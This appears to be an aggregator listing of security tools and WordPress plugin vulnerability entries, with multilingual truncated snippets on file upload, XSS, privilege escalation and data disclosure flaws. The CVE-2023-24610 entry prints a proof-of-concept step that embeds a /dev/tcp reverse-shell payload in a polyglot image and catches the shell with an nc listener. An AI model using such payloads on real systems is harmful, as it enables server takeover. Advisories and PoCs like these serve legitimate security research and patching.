DbgShell

DbgShell A PowerShell front-end for the Windows debugger engine. Ready to tab your way to glory? For a quicker intro, take a look at Getting Started. Disclaimers 1. This project is not produced, endorsed, or monitored by the Windows debugger team. While the debugger team welcomes feedback about...

CVE-2025-2005

CVE-2025-2005 WordPress Front End Users 插件 = 3.2.32 存在任意文件上传漏洞 WordPress Front-End Users 插件漏洞利用 漏洞信息 插件名称 ：Front-End Users Plugin 受影响版本 ：= 3.2.32 漏洞类型 ：任意文件上传 CVSS 评分 ：10（严重） 风险 ：该漏洞允许未经认证的攻击者上传任意文件（例如 PHP Web Shell），并可远程执行这些文件。这可在服务器上实现完全代码执行，导致服务器被完全控制。 漏洞描述 该漏洞存在于 Front-End Users...

CVE-2025-2005

CVE-2025-2005 - WordPress Front-End Users プラグインのPwn By h4ckxel クイック情報 プラグイン: Front-End Users 脆弱性のあるバージョン: = 3.2.32 脆弱性の種類: 任意ファイルアップロード CVSSスコア: 10（クリティカル） リスク: 認証なしの攻撃者が任意のファイル（例：PHPウェブシェル）をアップロードし、リモートで実行でき、サーバ全体を危険にさらします。 バグの説明...

PS2EXE

AI free repository - 人工知能は創造性と私たちの自然を殺しています！ PS2EXE Ingo Karsteinの素晴らしいスクリプトを拡張し、GUIサポートを追加しました。GUI出力と入力は1つのスイッチで有効になり、実際のWindows実行可能ファイルが生成されます。PowerShell 5.x互換のスクリプトのみをコンパイルします。オプションのグラフィカルフロントエンドWin-PS2EXEも利用可能です。 モジュールバージョン。 スクリプトベースのバージョンはこちらhttps://github.com/MScholtes/TechNet-Galleryにあります。...

ivre-wizard

IVRE . \ ,/ |\ / | | //\ | \ /\ | | / | '/ | / /oo/\ | |/ / | | | | | | /\ // | / ,| | , | By BitBurner ivre-wizard IVREのフロントエンドとなるインタラクティブウィザードで、データベースへのスキャン作成を簡単にするものです。 なぜ作ったか？ このスクリプトは、IVRE https://ivre.rocks/ をKali https://www.kali.org/...

Packer-Fuzzer

Packer Fuzzer Una herramienta de escaneo para la detección rápida y eficiente de seguridad en sitios web construidos con herramientas de empaquetado front-end como Webpack Producido por Poc-Sir, KpLi0rn, Liucy, RachesseHS, Lupin-III...

PatrowlManager

Codacy Badge PatrOwl PatrOwl is a scalable, free and open-source solution for orchestrating Security Operations. PatrowlManager is the Front-end application for managing the assets, reviewing risks on real-time, orchestrating the operations scans, searches, API calls, ..., aggregating the results...

WordPress Front End Users - Reflected XSS

WordPress Front End Users plugin = 3.2.32 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a...

CVE-2023-24610

CVE-2023-24610 これはCVE-2023-24610の概念実証（PoC）です まず、exiftoolを使ってポリグロットファイルを作成します: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php ファイルをPNGに変更して、フロントエンドのチェックを通過できるようにします その後、ポート8888でncリスナーを起動し、シェルを受信します。 次のステップとして、アプリケーションにログインし、setupをクリックします...

CVE-2025-47646

CVE-2025-47646 PoC WordPress PSW Front-end Login Registration Plugin ≤ 1.12 の認証なし権限昇格エクスプロイト 📖 説明 このPythonスクリプトは、CVE-2025-47646 の概念実証（PoC）エクスプロイトです。影響を受けるのは WordPress PSW Front-end Login Registration Plugin ≤ 1.12 の脆弱性です。...

CVE-2026-85678

The AI Builder WordPress plugin before 2.7.8 does not sanitise custom JavaScript saved against a post before echoing it inside a script tag on the front end, allowing users with contributor level access and above to store arbitrary JavaScript that will execute in the browser of anyone who views t...

CVE-2025-15695

The Translate WordPress with GTranslate WordPress plugin before 3.0.10 does not validate one of its settings before the bundled front-end scripts build markup from it, allowing users with a role as high as administrator to store JavaScript that runs in the session of any visitor to the site...

CVE-2026-85678 AI Builder 2.4.1 - 2.7.7 - Contributor+ Stored XSS via Post JavaScript

The AI Builder WordPress plugin before 2.7.8 does not sanitise custom JavaScript saved against a post before echoing it inside a script tag on the front end, allowing users with contributor level access and above to store arbitrary JavaScript that will execute in the browser of anyone who views t...

EUVD-2025-210888

The Translate WordPress with GTranslate WordPress plugin before 3.0.10 does not validate one of its settings before the bundled front-end scripts build markup from it, allowing users with a role as high as administrator to store JavaScript that runs in the session of any visitor to the site...

CVE-2025-15695 GTranslate < 3.0.10 - Admin+ Stored XSS

The Translate WordPress with GTranslate WordPress plugin before 3.0.10 does not validate one of its settings before the bundled front-end scripts build markup from it, allowing users with a role as high as administrator to store JavaScript that runs in the session of any visitor to the site...

CVE-2026-78361

The zipMoneyZip Co Payments Plugin for WooCommerce WordPress plugin before 2.4.0 does not perform any authorisation checks on one of its front-end request handlers, and does not restrict which option name a caller may supply, allowing unauthenticated users to delete arbitrary WordPress options...

CVE-2026-78361 zipMoney(Zip Co) Payments Plugin for WooCommerce < 2.4.0 - Unauthenticated Arbitrary Option Deletion

The zipMoneyZip Co Payments Plugin for WooCommerce WordPress plugin before 2.4.0 does not perform any authorisation checks on one of its front-end request handlers, and does not restrict which option name a caller may supply, allowing unauthenticated users to delete arbitrary WordPress options...

CVE-2025-47646

🔐 CVE-2025-47646 – PSW 前端登录与注册插件 pswform 是请求所需的 nonce 字段。 该 nonce 由前端的 pswregistration 短代码动态生成。 ✅ 成功响应 root@...

EUVD-2026-74705

The Payment Plugins for PayPal WooCommerce WordPress plugin before 2.0.26 does not validate the order key before adding order data to the JavaScript configuration it outputs on the front end, allowing unauthenticated users to obtain the secret that gates access to any order and, through it, that...

CVE-2026-80339 Payment Plugins for Stripe WooCommerce < 4.0.12 - Unauthenticated Customer PII Disclosure via order-pay

The Payment Plugins for Stripe WooCommerce WordPress plugin before 4.0.12 does not validate the order key before adding order data to the JavaScript configuration it outputs on the front end, allowing unauthenticated users to obtain the billing details of any order, together with the secret that...